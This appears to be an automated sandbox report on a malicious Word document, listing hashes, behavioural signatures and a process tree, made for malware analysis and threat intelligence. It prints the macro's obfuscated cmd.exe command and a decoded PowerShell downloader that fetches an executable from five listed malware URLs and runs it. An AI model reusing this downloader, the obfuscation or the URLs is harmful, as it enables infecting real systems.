Analysis
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max time kernel
133s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
15-12-2024 22:22
Behavioral task
behavioral1
Sample
f6010602af25513e5e82d4640807d08d_JaffaCakes118.doc
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
f6010602af25513e5e82d4640807d08d_JaffaCakes118.doc
Resource
win10v2004-20241007-en
General
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Target
f6010602af25513e5e82d4640807d08d_JaffaCakes118.doc
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Size
90KB
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MD5
f6010602af25513e5e82d4640807d08d
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SHA1
cc045aa7f68e85e0877364db80399bdbf0ecdbf6
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SHA256
ae4f24905553e34675bfa73dc2048fbe0c05170945c1c7e0fbcf38bfd5005c6c
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SHA512
bb59090bac795cd8b7e6cfc4d520654046c9a0f41914a5c8e7df6948b785108d7b672a58e13aa25a5b7684b05ad15d760b270a44f903d7506d4abe88e2bb72e3
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SSDEEP
1536:qptJlmrJpmxlRw99NBr+a239xfP2G9HdpkX:2te2dw99fy9MqHsX
Malware Config
Extracted
http://circuloproviamiga.com/wp-content/themes/fO2OYUW09
http://raidking.com/d0dtPLO2Ke
http://kulikovonn.ru/DBDTu0GH
http://lindgrenfinancial.com/u8PypS85i5
http://imish.ru/ImIjO2F
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3656 4600 cmd.exe 82 -
Blocklisted process makes network request 7 IoCs
flow pid Process 26 4588 powershell.exe 28 4588 powershell.exe 30 4588 powershell.exe 35 4588 powershell.exe 37 4588 powershell.exe 39 4588 powershell.exe 41 4588 powershell.exe -
pid Process 4588 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 3656 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4600 WINWORD.EXE 4600 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4588 powershell.exe 4588 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4588 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 4600 WINWORD.EXE 4600 WINWORD.EXE 4600 WINWORD.EXE 4600 WINWORD.EXE 4600 WINWORD.EXE 4600 WINWORD.EXE 4600 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4600 wrote to memory of 3656 4600 WINWORD.EXE 87 PID 4600 wrote to memory of 3656 4600 WINWORD.EXE 87 PID 3656 wrote to memory of 4588 3656 cmd.exe 90 PID 3656 wrote to memory of 4588 3656 cmd.exe 90
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f6010602af25513e5e82d4640807d08d_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\SYSTEM32\cmd.execmd /V^:^ON/C"^s^e^t R^s^8=C^d^9^ ^B^t^T^ c^+^Z^ ^b^9^]^ ^&c^5^ ^I^f^5 ^Z^\n^ ^{^6^*^ ~^,^y )^5^@ ^M^8^u^ ^ ^H^9^ ^J^8^# ^w^G^ ^ ^;^&^_^ ^i^L^;^ ^sC^y^ ^y(^Z^}vr^'^}^{%^|^{^Z^}^uh^O^4^*cc^m^[^t^K^f^]^a^I^6^wc#'^]^}^@^0^W^;^\,^Ik^\^P^|^a^D^Q#^e^\v)r^K^u'^b^l^Z^7^;^j^h^&da^Y^w^t^P^x^T^w^o^6^;^$3%^z^ (^:^i^mHr^O^e^u^q^e^t^o^lRI^} D^-v^,%^eR^&^h^k^A%r^o^]^q^Av^;r^Fn^|^4^T^I^w/^,;^+Q^@)^2^Z^,^d^j^B^4t0^#^ ^wv^p^$^$V^L^t ^'0^~^,^lH^i^U^H^t^[N^XN^I^Z^&R^f^$C^9^[()^?^J^e^3^E^q^l%^+^:i^5^Z(^F^O^]^z^d^[V^S^a^&W^*^o^.^Q^D^l^uVRn^}^BT^w^\^5 ^o^.Cr^D^h)^@^.^W^~^L^l^m^5^qw^o^b^PC^3^8^7^$^l^}^@^{^l^P^0^y^t^D^6rG^9c^tR^@^i^{^I^>^*)^3^#^s^u^d^Ox^G^Y^A^E^L*^wR^$T^s^w^ c^;^jn^&^5N^i(^b@^ ^E^W^$^U^.^J^sN^F2^Q^Z(np^$^ ^$^@(^ZN^H^h^[vNc^i^'^$^a^G^#^h^e^+^q^Yr^+^.^f^o^u^a^L^f^*^L6^;^I^9^'^'^6^W^&^e^6^@^L^x^#^A^L^e^3^f^e^.^K^T^z^'(^+N^+%^8u^w^X^ ^J^X^Gx^F^t^G^a^D^$^L^xW^+^~8/^'^\^m^K^\^>~9'^W^S^\^+s^=^~c^W^z^h^i^a^o^_^l^K^0^_br^z^{^u^g^M^+p^4^a^_^:^2c^Zv^'^$Vn(^a$^e^2^7P^$^=c%^=eC^A^d^P^Y^Q^tk:^~^w^D^F^.$KR^$^;^EM^t',^H^u^7^m^-^X^7^m^F^D^8^J^kN^'^f^[^_^ ^6^x^[=^'%^h^ 0^Z^_^w^=)^U^X^,^:n^t^x^\^4^$^h^~^4;^~c^#)^|^i7^'^8^'^@^@(^#^Y^'^$^p^.(^E^]^ ^t^;^4^y^i^x^sr^lX^Y^&^p^K^U^2^Sc^G^t^.^m^-^0^'^f^y^b^FR(^w^2^Q^#D^O^=^+C^j^K?^[^I^0^o^k^m^I^9v^IW/^i/^,^9^o^uC^Ycr^W^3^m^.^ l^7^h9/^P^s^u^G^W^i^0^A^E^m^6^x^`^i^_^F^m/^a^[^X/:R^Y^:^Q^w2^p^L^9^m^t^yV^t^tR^U^u^h^#^aV^@^H^B^E^5^e^d^{^i%^9^4^5^7^q4^8^A^E%^S^I^2Q^p^i^uh^y^<^j^Q^PP^aC^8^-^;^\^u^A^TC/^G^,E^m^KCV^o^<^6^sc^;^q^i^.^F^<^-^l^1^9R^a^Z^s^e^i^&^-^zc^.^4^}n^dV^~^a^YN^ n1?^l^in^X^s^fcvtn^~nC^e^+^J^Ar^_^*^ ^g^>^q^M^d^S^1rn^b^*)^i^I^f^-^l9^o^8/^i^h^w/^_^\^:^:^qC^g^pW^ ^p^t^&?^.^t^3^>^z^h^Za^G^@^E^:^M^H^m^u^8^GT^S^ ^0^F^;cu^k^I^S^T^w^|^+D^z^~^l^B(^5^W^D#^o^9/^4^Qz^u^p^|^<r^8^-^;^.^M^z^En^4^P^[n^~^O^W^o^9^~^{v^@(b^ovCR^k^m^]^|ij^_)l^B^{^~^u^gv^:^k^w^m^B/^,^J^@/VJ^8^:^*^E^6^pv^*^F^t^<^t^ft^e^F^J^h:^T^s^@^z^Z^=^e^d^+^o^KCNx^2^H^{^b^O^+^k^;^L^}^[r^P^>^:(t^}R^m^d^:rK^0/^s^Md^ZO^3/r^O^U^m^I^K^O^o^p^'^zc^,^J^5^.^z^.^B^g^ ^*^}n^'Yn^i^W^L^$^k^W^`U^d^A%^1i^=^@qa^[^q^:r^3^W^K/^'^~^=/^W^a^s^:^F^:^W^p^p^j^&^t^5^|^~^t^W^U^jh^+^-^P^@^#^-A^9^p^7^905^0^t^W^*^-I^U^s^j5^YIN^'^O^E^?^U^2^:^L^h^O^B^;^<^f^]^DN/V^On^s^ /i^er^dV^m^Mr^g^e^L(^0^h8^<^K^t^;^P^Z/^m^d^B^t/c^Sn^JR^;^e^_^TVt^#^x^}nv^=)^o^3^ ^@c^zr^|^-^o^I^1^p^9^l)^w^A^#V/(^a^?^m^i^T^]^o^Ey^kc^sC^`^.n^m^z^a^fV^E^gz^4^xi^Z^W^>^mz^$^?^a{^3^j^i^S^T^~v^<^,V^odC^Zr^ ^JR^pN^|^*o^D^>^b^l^qm^I^u^i^y^Zc^8(^6r^6^b^h^i^g^-^`c^[^:^b/c^X^e/^a^>^,:^QN^>^p^B^=^Z^t^|^S^7^t(^Ab^h^`O^\^'yr^i^=^a^F^o^u^<^H^|^G^l^$V^L^l^@^p^$L^0';^On%^t/^;^9n^y^-ceRn^ii^p^*Nl^M^`^TCx^#(^b{g)^e^ ^j^L^W^Q^T^\^.^=^P^{^t^8^Une^2^l^9N^B^0^Y^ ^2^XC^t^2^H^Lc^X^#(^e^g^m(^j^i^\^w^b^Z[#^o^5^:r^-^6^}^,^w^l^i^}^e_^y^~n^1^2^>^=T^]^h^l^,^]^P^w4^1^JCc^8^-^$^7^U^k^ ^l^P^e^l^3/^X^l^S^J^3^e^A^~^&^h^F^E^<s^M^7^Qr^=^qr^e^j^e^4^w^mn^O^o^*^I^[^p&&^for /^L %^O ^in (^1^5^6^7^;^-^4^;^3)^d^o ^s^e^t ^ZN^I=!^ZN^I!!R^s^8:~%^O,1!&&^i^f %^O ^l^e^q ^3 c^a^l^l %^ZN^I:^*^ZN^I^!^=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3656 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $Cwl=new-object Net.WebClient;$LGu='http://circuloproviamiga.com/wp-content/themes/fO2OYUW09@http://raidking.com/d0dtPLO2Ke@http://kulikovonn.ru/DBDTu0GH@http://lindgrenfinancial.com/u8PypS85i5@http://imish.ru/ImIjO2F'.Split('@');$tXw = '877';$wtd=$env:public+'\'+$tXw+'.exe';foreach($ZNU in $LGu){try{$Cwl.DownloadFile($ZNU, $wtd);Invoke-Item $wtd;break;}catch{}}3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4588
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
16B
MD5d29962abc88624befc0135579ae485ec
SHA1e40a6458296ec6a2427bcb280572d023a9862b31
SHA256a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
SHA5124311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize680B
MD5a3213cb356f461eece0df3457ffbf3e1
SHA1de82b33c5f799b51763f91e7e721230eb5ce4b6e
SHA2560601a8352657cc5b59a9ff1f1f77bece943c9adb76e89461d6f8dab4980df72a
SHA51257d307f5fe8ca44f84d765117ff19f185f4498d6a258ba385c067701b7b4659a871c3b3668e5237305920baa3e516fa97bbd97a3543382d2c8c5676bff60e218